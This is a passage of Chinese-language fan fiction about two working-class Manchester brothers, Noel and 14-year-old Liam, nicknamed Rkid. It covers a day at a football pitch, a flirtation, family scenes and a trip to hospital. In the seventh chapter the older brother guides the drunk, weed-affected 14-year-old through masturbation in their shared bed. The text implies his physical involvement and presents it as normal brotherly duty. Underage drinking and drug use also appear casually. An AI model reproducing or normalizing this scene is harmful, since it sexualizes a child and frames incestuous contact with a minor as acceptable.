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>不知什么时候,他的腿一轻,利亚姆从卧室翻来一条短裤穿上。
“嘿,小鬼,这是我的裤子。”诺尔对自已的衣服很有讲究,他的衣服们都是干净无异味的,而利亚姆却是的对卫生没什么标准的脏孩子。
“Rkid, 你的衣服就是我的衣服,看,我穿起来是多么的帅气。”
利亚姆在他面前嘚瑟得转圈,像个活泼的比格犬一样。
“好了,我的漂亮衣服都被你顺走了。”诺尔无奈耸肩,走到他屁股后面踢了了一脚。
“走吧。”诺尔从卧室里走出来戴着墨镜,盖住了脸上的青紫,左手拿着他的歌曲手稿和笔。
“我庆幸你没有把那个吉他带上,它就是你的女孩,你们无时无刻不在一起!”利亚姆站在门口激情说着,带着独属于他的夸张的肢体动作。
“Liam, shut up. 你就是在嫉妒我。”诺尔被气笑了,推着利亚姆往外面走,多么希望Rkid 是个哑巴。
离住的地方隔了二条街便是一个足球场,诺尔坐在平常经常坐的草地上,撑着下巴观察赛事。
利亚姆窜到球场里面打招呼,接过朋友踢过来的足球,加入其中,利亚姆踢足球技术不错,刚开局五分钟就进了一个球,好样的。
诺尔惋惜的叹口气,他的身体状况不允许他此刻奔跑,看了一会儿后就趴在早地上写着脑子里天马行空的歌词。
You are my sunshine,
you are my best one .
Give me your address,
You can be anyone.
I will give you anything,
give you wings flying to me,
take me away with you…
5. 美好的邂逅
歌词反映人的心灵,他的作词日常就是脑子里在想什么,写下来就是了。
写完一段词的诺尔在发愣中。
“Hello,there.”
耳边传来一道温柔的声音,诺尔抬头,一位金色长发年轻女孩弯着腰看向他,眉眼弯弯,她的发尾打到诺尔的墨镜上,仿佛打在诺尔的心头。
“yeah?”诺尔墨镜下的眼睛疑惑的眯着。
“能认识你一下吗?我的名字是露易丝·琼斯,你可以叫我露易丝,你叫什么?”
女孩摸着头发坐在他的旁边,诺尔很少见到这么直白的女生。
“诺尔·汉纳姆。”诺尔将墨镜摘下,眼前的女孩变得更让人移不开眼,光滑的小麦色皮肤,嘴巴的颜色也很好看。
“哇,你看起来很漂亮,也有一副好听的嗓子。”诺尔从不吝啬对女孩的赞美,虽然他的口吃问题使得他听起来很紧张。
“谢谢,你也很帅气。”露易丝在微笑,但这笑容又慢慢消失,嘴巴抿在一块。
“我的天,你的眼睛!有人打了你?”
“yep,是个小混蛋干的,在那儿,我弟弟。”诺尔放下手中的笔,指着在足球场唯一穿着红色格子衬衫的男孩。
“我的天,这真让人震惊。”
露易丝向他的身体靠近,二人的胳膊贴在一块儿,扬着眉再次微笑,“你有一双漂亮的蓝色眼睛。”
诺尔很少与同龄女性靠那么近,心情就像是被漫长撕掉创可贴。
“嘿,刚才看到你在写什么?这是?”她指着诺尔手边的纸张询问。
“这是我写的歌曲,你要看吗?”看着露易丝点头,诺尔将纸递给她。
女孩垂眸片刻,眼角浮现的笑意能给人淹没。
“这写的是我吗?”
“uh...no....no?”诺尔又在口吃了。
她在向我调情吗,我的天呀,她是多么的美好漂亮,诺尔不打算在等了。
“你想要和我去喝点什么吗?”诺尔发出邀请。
“Oh,sorry.”露易丝脸上出现为难的神色。
“我约了我的朋友一起,我们下次再约?”
她说完背过身去,向坐在长椅上的朋友们打招呼。
“当然。”诺尔感到伤心和惋惜。
“这是我的联系方式。”
露易丝接过诺尔递来的笔,在纸上写下她的联系方式和住址。
“我就住在曼切斯特,你可以随时来找我,如果我在的话。So,下次再见?”她抬眸望向诺尔,缓缓站起。
“Bye....”
金发女孩迎着阳光离开了,白色的倩影消失在眼前,这个场景就像是梦一样,美好得不真实,诺尔将露易丝写在纸上的联系方式叠好装在口袋,捂住心口躺在草地上,享受曼切斯特难得的好天气。
“Hello, mate! 能把球踢过来吗?”
一只足球滚到他的脚边,足球场上一位男孩伸长着胳膊向诺尔喊道。
“当然!”诺尔扶了把墨镜起身,用左脚踢出拉胯的弧度。
“谢了,哥们,你的球技需要练练了。”
远方的男孩在追逐着球,诺尔龇了下牙,摸着肋骨坐下。
“Shit!”
诺尔从来没有这么憋屈过,他连足球都踢不了,由于自己操蛋的肋骨断裂,最起码二个月不能运动,哦,不要忘了还有打着石膏的右手!
“God……”
诺尔沮丧地重新躺在草地上,遇到女孩的美好心情被打得稀碎,明媚的天气好像也变得阴暗了些,等伤好了之后呢?重新回到那个天然气工厂工作吗?他想,他应该会得到补助。
诺尔将纸张盖在脸上闭上双眼,路人的脚步声,谈话声,狗吠声…宛如就在耳畔般清晰,画面浮现在眼前。
“Noel !”
Rkid 的嗓音直达诺尔的灵魂,他扯下脸上的遮挡物。
我的天,Rkid搂着穿着超级火辣的金发女孩,哦!还有棕发女孩,天哪,这些birds怎么和Rkid在一起的,诺尔感到嫉妒和不可置信。
利亚姆嘴里叼着烟,走着他那引人发指的鸭子步,嚣张得很,虽然诺尔戴着墨镜,但也能感到Rkid向他投来的挑衅且欠打的眼神。
Rkid是个曼切斯特小流氓,但他对女孩还是很绅士的,扶着女孩们坐在诺尔周围的草地上,为女孩们整理裙摆。
“这是我的哥哥,诺尔。”
Rkid向女孩们简单介绍一下他的哥哥后,靠着女孩们的大腿躺了下来。
诺尔嫉妒的嘴角都在抽搐,得益于Rkid比他漂亮的天使脸蛋,总是比诺尔更受birds(女孩)的欢迎。
“Hi,我叫卡丽,那个有着漂亮金发的女孩叫瑞思。利亚姆和我们谈过你,说……”
棕发卡丽的目光追随着诺尔,兴致勃勃的说着。
“嘿,别说了,停下来!”金发女孩瑞思捂住朋友的嘴,不让她再说下去。
诺尔起了兴致,“Rkid?说什么?”
利亚姆盯着女孩的眼睛终于转移到诺尔身上,他盯着诺尔没有说话,用袖子盖住嘴角的偷笑,后继续望着女孩。
只要是与女孩待在一起,利亚姆的心思都不在诺尔身上了,他的眼珠子都在粘在女孩们的脸上了。
诺尔将Rkid嘴里叼的烟夺过来放在自已的嘴里,猛吸一口,弯腰将烟雾吐在利亚姆的脸上,朝他回以微笑。
诺尔抬眸看着女孩,等待她后面的话,收敛着脸的诺尔还是有些威慑力的,女孩们有着迟疑的神色。
“说你会弹吉他,并且……”卡丽开口。
“弹得很烂!”瑞思接过朋友的话。
“哈!这个小混蛋!我会狠狠揍他的。”诺尔被气到耸肩,语气带着讽刺,吉他是他的情感依托,这小子一点儿都不懂吉他。
“嘿,利亚姆,你没有资格这么说我的吉他,你根本就不会弹吉他。”
诺尔拿着香烟指着利亚姆,烟蒂的烟灰有些落到Rkid的额头上。
诺尔盯着Rkid的额角,愣住。
利亚姆呼气吹掉烟灰,表情些许放空,“哦,我是这样说过,嘴巴长在我的身上,我想怎么说就怎么说。”
“啧,你个垃圾,你说的话就像放屁一样,你之前还求着我给你弹奏石玫瑰的专辑,这些不是真的吗?”
诺尔对着Rkid干笑,极力力争口角,“你怎么敢说我的弹吉他不行!这真的很伤我的心,Rkid。”
利亚姆对所有的事儿都不在意,除了诺尔。
“嘿,我的哥哥,我只是在瞎说博取关注,没必要那么激动。”
身边的女孩们对这种局面感到困惑,互相瞪着眼睛插不上话。
“那你以后可以闭上你的狗屎嘴巴。”诺尔臭骂利亚姆,低头再次猛吸一口烟,有些烦躁的弹落衬衫上的烟灰。
利亚姆终于抬起身来,友爱的靠着诺尔的肩膀,举起手来撸了一把诺尔的脑袋。
“Noely, 你知道我什么意思,有些时候我也不知道我想说出什么。”
“你就是嫉妒我会弹吉他,我的天,我就知道。”
“Hello,please,你们要吵到什么时候?”卡丽摆着手引起哥俩的注意。<
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“你们要喝些什么吗?”瑞思抿着嘴问。
“不了,我不需要,谢谢。”诺尔吐出一口烟回答,“如果你能给我买包烟,我会非常感谢你的。”
“这不可能,我们还没有成年呢。”瑞思被诺尔逗笑了,头无意识的靠在诺尔的肩上。
“我需要喝的,可乐就很好。”利亚姆也靠在诺尔的肩膀上,抬眸望着诺尔。
“OK,瑞思,我们去吧。”卡丽站起身来,也拉着瑞思起身,二人的脑袋贴在一起私语,走向街道的超市。
Rkid的脑袋还靠在诺尔的肩上,诺尔对此很正常,Rkid已经很收敛了,他是个粘人的家伙,更甚的情况诺尔不是没遇到过,他们有时亲密非常。
燃烧的烟蒂已经达到烫手的程度,诺尔不舍的扔掉它。
“Noely,你认为我的女孩们怎么样?”在所有兄弟中利亚姆是最忍受不了安静的一个,而诺尔是最安静的那个。
“很好,但不是我的菜,她们太小了。”诺尔左手撑着脑袋看着草坪,Rkid的脑袋滑到诺尔的背上。
“我也这样觉得。”
利亚姆朝着诺尔呼气,低声说着。
“我的天,她们明明和你一样大。”诺尔明显对利亚姆的回答感到意外。
“我更喜欢年龄比我大的,卡丽和瑞思是我的朋友,我不想拒绝她们,她们很迷恋我。”自大的利亚姆说着这般话,显得他更加自大了。
“不不不,女孩们不是迷恋你,而是迷恋你漂亮的脸蛋。”诺尔不可置信一笑,回头望着Rkid蓝色的瞳孔。
“那你呢?”利亚姆抬眸,视线与诺尔在一条线上,一股子莫名的气氛在兄弟间蔓延。
“What ?Paden?”诺尔摇着脑袋疑惑问。
“你不迷恋我的漂亮脸蛋?”
“Unch,我讨厌死了,我恨你,你个漂亮的dickhead。”
“不,你不恨我,你爱我,我们互相爱着对方,你知道我的意思,我们是兄弟,是一对亲爱的兄弟。”
“Fuck it. ”诺尔拍了把利亚姆的脑袋,Rkid的脑袋有着最琢磨不透的想法,诺尔很少能够理解他,最好的办法就是闭上嘴巴不说话,利亚姆就会转移到下一个话题了。
“我喜欢比我大的女性,我会感到很性感,不是说我喜欢年龄比我大很多的,超过五岁就不可以,我喜欢她能够照顾我……最近我又被学校赶回家了,如果今天不是周六,就算是周一我也不会去上学,就是因为我满口脏话……嘿,Rkid,你说我染发会好看吗,在我的耳朵上打洞怎么样?它们很酷,我想这么干,我记得妈妈不会允许的……”
就在诺尔安静的一刻钟间,利亚姆的嘴巴就没有停下来过,他永远都安静不下来,讲着他的幻想对象,他的学校,他的头发什么的很酷的玩意儿,这么诺尔根本就不想听,为了不鼓励Rkid与自已争吵,耐着性子安静的听完。
谢谢上帝,感谢女孩们拿着汽水回来了,诺尔很想不通女孩们怎么受得了Rkid的确连他这个兄弟都受不了,喜欢Rkid的女孩们是多么的了不起。
“利亚姆!”卡丽将可乐扔给利亚姆,扑在利亚姆的背上高兴的喊着。
“Noel,我随便买了瓶汽水,给你。”瑞思也是女孩中安静的那一个,将汽水放在诺尔手中,对着他委婉一笑。
“谢谢,这很好喝。”诺尔握着瓶身皱眉,“你能帮我打开饮料吗?”
“Oh, sorry,我忘记你的右手打着绷带了。”瑞思歉意的说。
“没关系,再次感谢。”诺尔接过汽水,扬着浓眉对着瑞思微笑。
6. 需要人照顾的男孩
Rkid与birds窝在一起聊着诺尔根本不感兴趣的话题,便躺草地上整理自已的头绪。
那个露易丝女孩很棒,是诺尔喜欢的类型,诺尔有些犹豫他们的关系是否可以发展一下,毕竟露易丝很棒,她会和我在一起吗?
“Rkid,我饿了。”利亚姆从女孩中爬过来,双手撑着下巴。
“OK. “诺尔的头绪完全被利亚姆打断,没好气说道,“我不饿”。
“Noely,给我零钱,我去买些吃的。”
那个可耻的小混蛋在向诺尔要钱,我的天,他不知道诺尔没钱吗?
“你确定?我的身上没有钱。”
“你在说谎,我知道你那几个月工作有了工资,求求了,Rkid,我好饿。”
诺尔的谎言被揭发,无奈从口袋摸出零钱扔给他。
“别忘了给女孩们买两份,带上她们一起吧,我受够你了。”
“没问题,Rkid,你知道我最爱你。”
利亚姆激动的将零钱揣入裤兜,弯着腰捧着诺尔的脑袋在他面颊上亲了两口。
“嘿,别那么肉麻。”诺尔推开弟弟,与他粗鲁的动作完全相反的是,他的嘴角的弧度暴露了诺尔享受Rkid的亲昵。
Rkid搂着女孩们离开了,诺尔也没有继续窝在草地上的想法,拿着东西拍着屁股离开了。
诺尔晃晃悠悠地走着,心里还在琢磨着露易丝的事儿。
“那姑娘的笑容就像春天里最灿烂的花,可我这兜里的钱就像冬天的枯树叶,少得可怜。真要是和她发展,我拿啥带她去吃好吃的,看好看的?总不能天天拉着她在这草地上闲逛吧,那不成了放牛娃谈恋爱?”
正想着呢,突然听到一阵吵闹声。原来是几个街头艺人在争地盘,一个耍杂技的和一个拉小提琴的吵得面红耳赤。诺尔在一旁看得直乐,心里想着:“这俩人为了块巴掌大的地儿,都快打起来了,我的天。”
诺尔继续往前走,路过一家小酒馆。酒馆里传出阵阵污言碎语,还有人在吼叫着唱歌。
诺尔忍不住往里面瞅了一眼,只见一群人围着一个大胡子爱尔兰男人,大胡子男人正拿着酒杯,扯着嗓子唱着一首跑调跑得十万八千里的歌。
哦,这是家爱尔兰酒吧,当地爱尔兰人都会在这里光顾,诺尔他们一家人也是属于爱尔兰人家庭。但面临大胡子男人的歌声,诺尔听得直摇头,自言自语道:“这歌声,比我家Rkid叫得还难听,这些人可真搞不懂。”
继续往前走,诺尔来到了一个小广场,广场边上聚集着街头青年,他们浑身上下纹满了纹身,让人不敢靠近。
若是看到这种情况,请大家聪明一点儿,这些混混一看就是在干些不为人知的坏事儿,包括drags,ganster啥的。诺尔是个聪明的人,虽然他也是无所事事的街头人物,但他还不是真正的“人物”,他不是个傻蛋,所以诺尔快速穿过那群不良人,走到街头的另一边卖着墨西哥鸡肉卷的摊位,买了一份食物就离开了。
到了家,大哥保罗坐在沙发上看着足球比赛。
“是回播吗?”诺尔出声。
“对的。”保罗下意识回答,下一秒快速转头望向诺尔,“哦,诺尔,你回来了,桌上有艾米丽带来的披萨和可乐。”
艾米丽是保罗的女朋友,在披萨快餐店工作,有时候会带披萨给保罗的弟弟们吃,诺尔很熟悉她。
“OK,艾米丽不在这儿?”
“Hello ,诺尔。”艾米丽从身后窜出来。
“OMG,你吓到我了。”诺尔被哥哥的女朋友吓一跳,“你刚才在哪里?我都没听见你的脚步声。”
“你的胆子太小了,这不怪我,是吧保罗?毕竟你的哥哥从来没有被我吓到过。”艾米丽向诺尔耸肩,继续走向电视前的沙发上,与男友窝在一块儿。
“OK,你们这对腻歪的情侣,我要远离你们。”
诺尔将自已的墨西哥鸡肉卷放入冰箱,从桌上拿了块披萨塞到嘴里,有了美味的披萨谁还想吃鸡肉卷,诺尔不是,他带走了一盒披萨来到自已的房间,将自已的哥哥的艾米丽抛在脑后。
“你的弟弟总是不喜欢与我们待在一起,他总是把自己关在房间里。”艾米丽靠在保罗的肩上。
“诺尔就是这样,他是平等的讨厌任何人,包括我和利亚姆,除了我们的妈妈。”保罗应和着。
“这有点奇怪……”
房间里的诺尔不知道外面的情侣是如何编排自己的,他正享受的喝着可乐嚼着披萨呢。可怜的利亚姆,只能去吃外面便宜的食物,享受不到艾米丽带来的披萨,真替他惋惜,所以诺尔打算留些给他,和往常一样。
享受完美食的诺尔躺在床上听着随身听,里面录着摇滚乐队经典曲目,飞艇,披头士,U2,石玫瑰等著名乐队。
诺尔爱死他们了!
他听音乐喜欢听歌曲们的旋律,再次是歌词,在旋律面前,歌词就有点无足轻重了,这对诺尔是这样,写歌词就像是在玩填词游戏,在你已经脑子里有了旋律的时候。但有时诺尔也不尽然这样,有时诺尔会在歌词上打磨好久,写的词是内心深处的言语,旋律是加在歌词上的,这也很不一样。不过,诺尔不拘泥于呆板的模式,诺尔两种都会试着去了解,去创作,这才是诺尔所认为的作曲人。
直到听音乐的听得耳朵变得疼痛,诺尔才摘下随身听的轮廓耳机。
和昨天一样,不仅仅是昨天,和过去一个月一样,诺尔下床抱着吉他坐在地上,弹奏手中的韵律。
当诺尔抱着吉他时,时间总是不够用,甚至他无法感知到时间,他不知不觉间弹奏一整个下午。他手指变得刺痛,胳膊变得僵硬,身体变得疲惫,这是正常的,不过今天诺尔的情绪有点不同,他的音乐变得更加情绪化,使得力道使得琴弦割破了手指。
顺手将流出的血液擦在裤子上,便不管了,这事儿对他很正常,下次用吉他拨片也是可以的。
诺尔走出卧室,外面的天已经黑了,大哥也不在房间里,显然去他女朋友艾米丽的租房过夜去了。
诺尔随便吃了些三明治和牛奶,中午扔在冰箱的鸡肉卷也吃了。填饱肚子后他窝在沙发上看着足球世俱杯的回放,谢谢世界上存在足球,要不然诺尔的生活乐趣就少了大半。
比赛到了半场休息,诺尔离开沙发,从水龙头接了杯水喝着,此时,房子的门被打开,诺尔可以听到塑料包摩擦衣服的声音,家里唯一背着包的人只有家里的女主人,他们的妈妈了。
“嘿,诺尔,你今天还好吗?我的孩子。”
佩吉从外面打开门,放下她的包。她的表情很疲惫,在诺尔看来。
“今天还是一样的无聊。”诺尔耸着肩,表情很无趣。
“嘿,别伤心,你会发现有趣的时刻的。好了,我要去洗澡了。”佩吉来到诺尔的旁边,给了他一个暖心的拥抱。
“OK,妈妈。”诺尔在妈妈的脸庞亲吻一下,离开她的拥抱,重新坐到电视前。
过了一会儿佩吉就洗漱好坐在沙发的另一侧,穿着宽松的睡衣。
“威廉还没有回来吗?”
“是的,妈妈,我不知道他去哪里了。”诺尔转过头面向妈妈。
“我的天,威廉那小子真的是不让人省心 !”
“是的,妈妈,别担心,我会处理的。”诺尔搂住满面愁容的妈妈。
“威廉那小子就没有让我省心过。”
“Rkid就是这样,我会好好和他聊聊的,虽然没有作用。”
佩吉听此瞥了他一眼,诺尔立马闭上嘴巴。
“你也是,诺尔,你也不让人省心。”
“我知道了,妈妈。”诺尔在妈妈面前这是很乖巧,妈妈说什么就是什么。
“好了,你们兄弟间互相照顾,我老了,我需要休息。”
佩吉双手窝在一起起身。
“妈妈,好好休息,明天不需要上班是么,可以睡个好觉了。”
“是的,我的孩子,晚安,希望你也早点睡觉。”佩吉像是想起了什么,“明天复诊你知道吗?”
“No!我都忘记了。”
“明天别窝在家里了,我们要去医院。”
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“我讨厌该死的医院!”
佩吉看着诺尔皱在一起苦难的表情,微笑,“这是治疗的疗程,你的伤可能会留下后遗症,我们需要去医院,毕竟你的公司给我们承担了所有的医药费。”
公司?对的,诺尔受伤时工作的地方,一家天然气大工厂,如果这也属于叫“公司”的话。这家公司考虑到诺尔是在工作时受得伤,有义务去承担员工的治疗费用,并支付诺尔的工作工资,也保证在诺尔伤好后能继续在公司工作。当然,诺尔想,他这次受伤,公司肯定不会分配任务重的工作给他了,这是一件好事儿,诺尔可以申请去仓库工作。
“晚安,孩子。”
“晚安,妈妈。”
妈妈的房间门从里面关上了,诺尔转头将视线放在电视机上。
一个人的夜晚这是无聊的,诺尔受不了这般无趣,他起身来到大哥保罗的卧室,找出保罗的半包香烟,从里面抽出一只叼在嘴里点上。
享受的抽了一口,又来到冰箱前翻出一瓶啤酒打开喝起来,诺尔带着半包香烟和啤酒再次来到电视机前。
“这才对味。”
诺尔吐出一个烟圈,内心才有些欢愉。
足球,香烟,啤酒,这才是独属于夜晚的套餐。真实的来说,诺尔喜欢这些,但他却没有烟瘾和酒瘾,他有分寸,他有理智。他也绝不会像他那个脾气暴躁的酒鬼父亲一样喝了酒就开始家暴女人和孩子!诺尔对此行为表示厌弃,他绝不允许自已这样,这对自已和爱自已的家人带来苦难。
诺尔苦笑着喝了口酒,看足球吧,足球是除了音乐他最喜欢的事情了。
足球夜间回放结束了,诺尔毫无目的翻着电视频道,这个很无聊,这个也很无聊,这个超级无聊。我的天,英国节目是怎么了,此刻是世界末日吗,英国电视节目需要革新了,它们很不合诺尔心意。
“哐……哐”门外谁在砸门。
诺尔扔下遥控器,来到门口打开门。
“Shit, Rkid, 门根本没有锁,你是傻子吗?”
门外砸门的是利亚姆,他穿着不知道从哪个朋友身上扒下来的蓝色外套,睁着一双迷离恍惚的眼睛望着诺尔。
“我到家了吗?哦!我到家了,我需要我的床。”
利亚姆说完将鞋甩在地上,神志不清的脱着衣服。
“你喝醉了?”
“No,我没喝醉,我只是参加James朋友的派对喝了一点儿。”
“你的酒量比婴儿还小,我相信你醉了。”诺尔跟在Rkid的身后和他一起走向他们的共同的卧室,看着利亚姆摇摇晃晃的走向床边躺下。
“Rkid,你臭死了,你需要洗澡!”利亚姆身上不只有酒精的味道,还有着烟草的味道。
“你到底吸了些什么?我没见过你那么狼狈。”诺尔在床边弯着腰,拍着利亚姆红透的脸颊。
“比香烟还更刺激的……”利亚姆在诺尔的拍打下翻了个身,嘟囊,声音模糊不清。
“weed?我的天,你需要清醒一下,你太臭了。”
诺尔有些崩溃的抱住脑袋,他可不想收拾Rkid烂摊子,他需要自己照顾自己,而不是靠他的哥哥。
但是,按照利亚姆此刻的瘫软样,他是不可能折腾自已的,而诺尔是绝对不允许这么像流浪汉的人睡在自已的床上。
“Rkid,你的酒量很垃圾,等你醒后我要打你的屁股,我要把你打哭,因为你让我生气了。”趴在利亚姆耳边的诺尔这样抱怨。
“Fucking kid. Fuck you. ”
诺尔边骂边收拾利亚姆的卫生。他将利亚姆的浑身上下衣服全部脱掉,搂抱着Rkid去浴室淋浴,又擦干他的身体给他穿好内裤和衬衫,终于收拾好了,给他拖到床上去。
此时的利亚姆舒服的干净的躺在床上,诺尔却累的很,诺尔脱了衣服,给自己也洗个了快速澡,穿着内裤躺在了Rkid的身边。
“Well done, my boy! ”
诺尔侧过身背对着Rkid,也不管有没有人回应他。
7. “兄友弟恭”
曼切斯特的夜晚,是多么的寂静,多么的黑暗,处于贫穷地区的曼城人是生活在没有路灯的月光下。
诺尔在深夜中醒来,多么奇怪。
利亚姆躺下床铺的里面,很不安分。
“你在干什么,Rkid?你想要我把你踢下床吗?安静些。”
“I miss girls ,我要疯掉了。”利亚姆双手在自已身上摸着,面色有些发红。
“嘿,Rkid,现在可是凌晨,我在哪给你找去!”诺尔窝起身子崩溃呐喊,“你这个小子,我不是你的女孩,给我穿上你的衣服。”
“那个该死的强效烟草害得我这样,我要死了,Noel。”利亚姆难受得瘪着嘴,神情竟然有些委屈。
Rkid在委屈什么,这种情况还不是自已吸weed造成的,他应该紧紧闭上嘴巴,而不是向他的哥哥抱怨。
“你能挪动一下你的屁股起来吗,给我滚去浴室解决。”
“不,我不想起床,我不想动,我需要bird帮我。”
这个恃宠而骄的混蛋小子在说着说着什么胡话。
“我不知道怎么做,我还是第一次这样!”Rkid任然趴在床上蠕动,声音沙哑。
“嘿,boy,这对十四岁的男孩很正常,你只需要把手放在下半身活动。”诺尔将Rkid托起身,向他比划着怎么做的姿势,他的Rkid也才十四岁,正是发育的年纪。
“No !我讨厌我现在的自已!”
“好了,Rkid,没事的,我会教你,安静下来,一切交给你的哥哥,好么。”
诺尔拍着Rkid的肩膀安慰,把他身体扒拉过来。
诺尔拍了拍Rkid的脸颊,利亚姆迷茫的蓝色瞳孔终于与诺尔相遇,双方的眼里都透露着迷茫与疲惫。
“嘿,这没事儿的,我们是兄弟,我会帮你的,OK?”
“OK,我需要你,Noel,take me。”
利亚姆那漂亮的天使面孔真的不容忽视,天哪,诺尔在教他的弟弟如何去做,这很正常,不是吗,毕竟他们是世界最亲密的家人,诺尔作为哥哥是有义务帮助稚嫩青涩的弟弟的。
这“兄友弟恭”的教学场面终于结束,利亚姆去浴室进行洗漱,诺尔掀起衣摆擦了把额头冒出的汗,平复一下心情躺在枕头上,“我不会再这样做! It sucks ! Werd and wrong! ”
利亚姆从外面的浴室出来,已经收拾好自已,在卧室的椅子上翻着自已的内裤和衬衫。
Rkid穿好衣服后,光着脚上床躺在床里边,依旧是一副天真且空泛迷茫的表情,他的视线与诺尔对上,气氛有点不对劲。
“Rkid,你做的很棒。 ”
“THANK U ! ”
诺尔回以一个讽刺的感谢,请让这个小子离我远点,但是不能,Rkid和他分享同一个卧室,同一张床,这是不可避免的。虽然诺尔很爱他,但也是不可避免让我恨这个小混蛋。Rkid总是需要他的big brother照顾他,给他收拾烂摊子。
诺尔与Rkid的遇上的视线转移,莫名的低下头,摸着自已的耳垂,有些不自在,下床洗了手回来躺在床上,刚躺下,眼前就出现一张被放大的脸。
“晚安,Noely,love you. ”
诺尔的脸颊被小混蛋亲了一口,他嫌弃的转过去,背对着他继续睡觉。
“闭上你的嘴巴,我很累,给我好好睡觉。”
诺尔合上自已酸疼的眼睛,揉着自已有些酸痛的左手,好一阵过去,终于重拾自已的睡意。
“Rkid,你还没有向我说晚安呢。”
利亚姆又在诺尔身后说着什么,但是现在的诺尔已经睡意朦胧,“明天醒来我一定要打利亚姆的屁股!”
“Noel,起床了,我们需要去医院复诊了。”佩吉在敲门。
诺尔睡眠向来如此这般浅,任何一点儿声音都能吵醒他。
“MOM, 现在才早上九点!”
诺尔将双手遮在脸上抵挡外面的亮光,嘴巴发出不满的抗议,睡在他旁边的利亚姆翻个个身,但不是诺尔那样坐起来,Rkid是家里最喜欢赖床的孩子。
“快给我起来,我预约了罗斯医生给你复诊,时间可不等人。”房间外面的佩吉加重了语气。
“OK! 我起来了。”诺尔带着些起床气,他可不像床上的利亚姆一样继续赖着,没好气的他将Rkid靠在他腿上的脚甩过去。
“OUCH! NOEL, 这很痛啊。”利亚姆的脚甩在床边磕到床沿的木板,瘪嘴喊了一声。
“Ok, sorry, my boy. ”站在椅子旁边的诺尔满脸不在意,边穿着衣服边说。
“你伤害我,我不爱你了。”
“很好,我也讨厌你。”
诺尔说完这句话Rkid的脸就耷拉下来,像一只失落哭泣的狗狗,好像在说着“你不爱我了,我不想和你一起玩儿了……”
这可真有趣,诺尔最大的乐趣就是让利亚姆流眼泪,让他更像一位女孩子,这样诺尔就可以嘲笑他的弟弟是一位pussy,一个爱哭的bitch。Rkid长那么漂亮的脸蛋,他就应该是个女孩子。
诺尔先穿上衬衫,再套上自己的牛仔裤,最后穿了双还算体面的休闲鞋。
诺尔扒开Rkid拉着他裤子的手,“嘿,小混蛋,别添乱,再摸我把你手打断。”
“我就不,凭什么听你的。”利亚姆躲开诺尔的拳头,出其不意的在诺尔的□□抓了一把,带着坏笑。
“你想死吗?”诺尔捂着□□,表情有些痛苦。
“Hei, kids,还没闹够吗?”佩吉拿着做饭的铲子冲进房间,“威廉!你哥哥的脸上是你昨天打的吗?你哥哥的伤还没好,不要欺负他。”说着,佩吉的铲子就要伸过来打利亚姆的屁股。
利亚姆躲在诺尔的背后,拽着诺尔的裤带灵活躲开妈妈的攻击,“妈妈,饶了我,我错了。”
佩吉喘口气,铲子指向兄弟俩,“诺尔,你给我去洗漱,威廉,你快给我穿好衣服,我要十分钟后在桌子上看见你们。”
“Ok. ”两兄弟异口同声。
看着妈妈的背影消失,诺尔向Rkid捣了一手肘,低咕,“你惹妈妈生气了。”
“No, 我没有,妈妈是你惹的。”利亚姆这小子在胡搅蛮缠。
诺尔嗤笑一声,骂了一句,“Rkid,你知道你的嘴里塞了什么吗?”
坐在床边穿裤子的利亚姆抬头,张大嘴向诺尔展示他的嘴腔和舌头,“Nothing, 只有我的舌头和我的口水! ”
“You cunt! 你的嘴里塞满了屎!”
“Noel!”利亚姆从床上蹦起来,在诺尔反应不过来的时刻,快速搂着诺尔的脖子拉近自己,在诺尔的嘴角大大亲了一口,力道猛到双方的牙磕到一起。
“Shit, Liam ! ”
诺尔楞在原地,Rkid的牙齿磕到诺尔的上嘴皮,疼得他捂着嘴龇牙,“你TM能一天不使我流血么!”诺尔捂住嘴的手张开,果然流血了。
“我的嘴巴里不仅有屎,我还没刷牙,你现在嘴巴也有屎了。”利亚姆托着他的拳头向他的哥哥比划,一点儿都不担忧哥哥流血的嘴巴,这视为是他的勋章,兄弟总是会打打闹闹,这不算什么。
“Gross, 别说了。”诺尔双手将Rki
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d扯过来,掐着他的脖子给Rkid的带到洗漱池。
“快给我刷牙,你记得你昨天就没有刷牙,这真的让人恶心。”诺尔为自己和Rkid挤了牙膏。
利亚姆在臭美的照镜子,整理他的发型,接过他的牙膏刷牙,刷牙也堵不上他那说话的嘴,“Rkid,你看我多帅气……”。
“神经。”诺尔在低骂,嘴上的伤口被牙膏刺激得有些刺痛。
他怎么有这么不正常的弟弟,真想一巴掌忽在他的脸上,带着些嫉妒的想,“Rkid的脸是很漂亮,虽然我不愿意承认。”
诺尔结束自己的洗漱,来到饭桌前。
“培根土豆泥,谢谢妈妈。”
这道英国饭诺尔格外喜欢吃,但做起来很耗时间的,幸亏他有着爱他的妈妈。
“这一盘是威廉那小子的,他最近吃的饭尤其多。”佩吉擦干净手坐在餐椅上,拿起了自己的叉子。
“Rkid才14岁,在代谢快的年纪,他的运动量也很大,昨天他踢了一早上的足球,这真不可思议。”
“你们在说我,我就是那么厉害,like God! ”利亚姆从洗漱间窜出来,来到妈妈的周围到处蹦跶,活像一只猴子在向妈妈撒娇。
“坐下,吃饭。”佩吉无奈呵斥,才让猴子安定下来,利亚姆安静的坐在椅子上。
诺尔在旁边偷笑,Rkid这个猴样只有妈妈能管住了,poor monkey liam。
一顿饭很快就吃完,诺尔舒心的坐在椅子上看着Rkid帮着妈妈洗盘子,不是诺尔不想帮忙,而是诺尔的伤势不允许。如果他现在弯着腰洗盘子,他的肋骨就会向诺尔发出抗议了,肋骨断裂的程度让诺尔做不来太大的身体幅度,不知道昨天他怎么抱着利亚姆去洗澡的,这真是的奇迹。
“好了,诺尔。”佩吉从她的卧室找出外套穿上,对着诺尔招手,“我们出发去医院吧?”
“威廉,你记得在家老实点,不要鬼混,出去玩儿记得锁好门。”佩吉站在门口对着Rkid喊。
“好的,妈妈。”
“Good boy!”诺尔从门外伸出脑袋也对着Rkid喊,语气带着调笑。
“Fuck you. ”Rkid在向他竖中指骂他。
诺尔关上门,坐上停在门口车的副驾,妈妈已经启动了车。
路程总共一个半小时左右,诺尔知道是如何的难熬。
“妈妈,我的磁带放哪了?”
“在格子里。”
“这些很贵的,这是我的宝贝,给我收好可以吗?”
“OK,我的孩子,你每次坐我的的车都会提醒我,你的妈妈虽然老了,但记性还是在的。”
“好好,我的错。”
诺尔结束与妈妈的对话,从格子里抽出磁带插入车载收音机。
“Yesterday,
all my troubles seemed so far away.
Now it looks as though they''re here to stay…”
“《Yesterday》, The Beatles的歌,我的天,这可真好听。”
佩吉张嘴惊叹,与诺尔共同沉入到歌曲里面,心情随着歌曲的内容变换。
